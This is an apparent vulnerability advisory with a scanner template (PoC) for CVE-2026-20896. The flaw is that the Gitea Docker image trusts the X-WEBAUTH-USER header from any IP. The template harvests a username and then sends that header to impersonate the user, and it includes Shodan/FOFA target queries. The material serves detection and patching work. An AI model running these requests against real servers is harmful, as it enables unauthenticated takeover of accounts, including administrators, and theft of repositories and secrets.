The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.
PoC
id: CVE-2026-20896
info:
name: Gitea Docker Image <= 1.26.2 - Reverse Proxy Header Authentication Bypass
author: prithvee07
severity: critical
description: |
The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.
impact: |
Unauthenticated attackers can impersonate any Gitea user, including administrators, gaining read access to all private repositories, the ability to inject SSH keys, extract CI/CD secrets, modify webhooks, and fully compromise the platform.
remediation: |
Upgrade the Gitea Docker image to version 1.26.3 or 1.26.4 or later, which restricts REVERSE_PROXY_TRUSTED_PROXIES to the intended internal proxy addresses.
reference:
- https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4
- https://blog.gitea.com/release-of-1.26.3-and-1.26.4/
- https://github.com/go-gitea/gitea/pull/38151
- https://www.ionix.io/threat-center/cve-2026-20896/
- https://nvd.nist.gov/vuln/detail/CVE-2026-20896
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-20896
epss-score: 0.02755
epss-percentile: 0.85496
cwe-id: CWE-290
metadata:
verified: true
max-request: 4
vendor: gitea
product: gitea
shodan-query: title:"Gitea"
fofa-query: app="Gitea"
tags: cve,cve2026,gitea,docker,auth-bypass,unauth,vkev
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /api/v1/version HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'compare_versions(version, "<= 1.26.2")'
condition: and
internal: true
extractors:
- type: json
name: version
json:
- '.version'
internal: true
- raw:
- |
GET /api/v1/users/search?limit=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "\"ok\":true")'
- 'len(victim) > 0'
condition: and
internal: true
extractors:
- type: json
name: victim
json:
- '.data[0].login'
internal: true
- raw:
- |
GET /api/v1/user HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
internal: true
- raw:
- |
GET /api/v1/user HTTP/1.1
Host: {{Hostname}}
X-WEBAUTH-USER: {{victim}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, concat("\"login\":\"", victim, "\""))'
- '!contains(body, "token is required")'
condition: and
# digest: 490a004630440220538c4164f014e313526486c1cdcb4862daab48c58c7e30724a15054f779e2dae02203aff0b7f7fb45911ac8a952be6c4c8fa4590db7ee1b2a7e86e9c064356194912:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.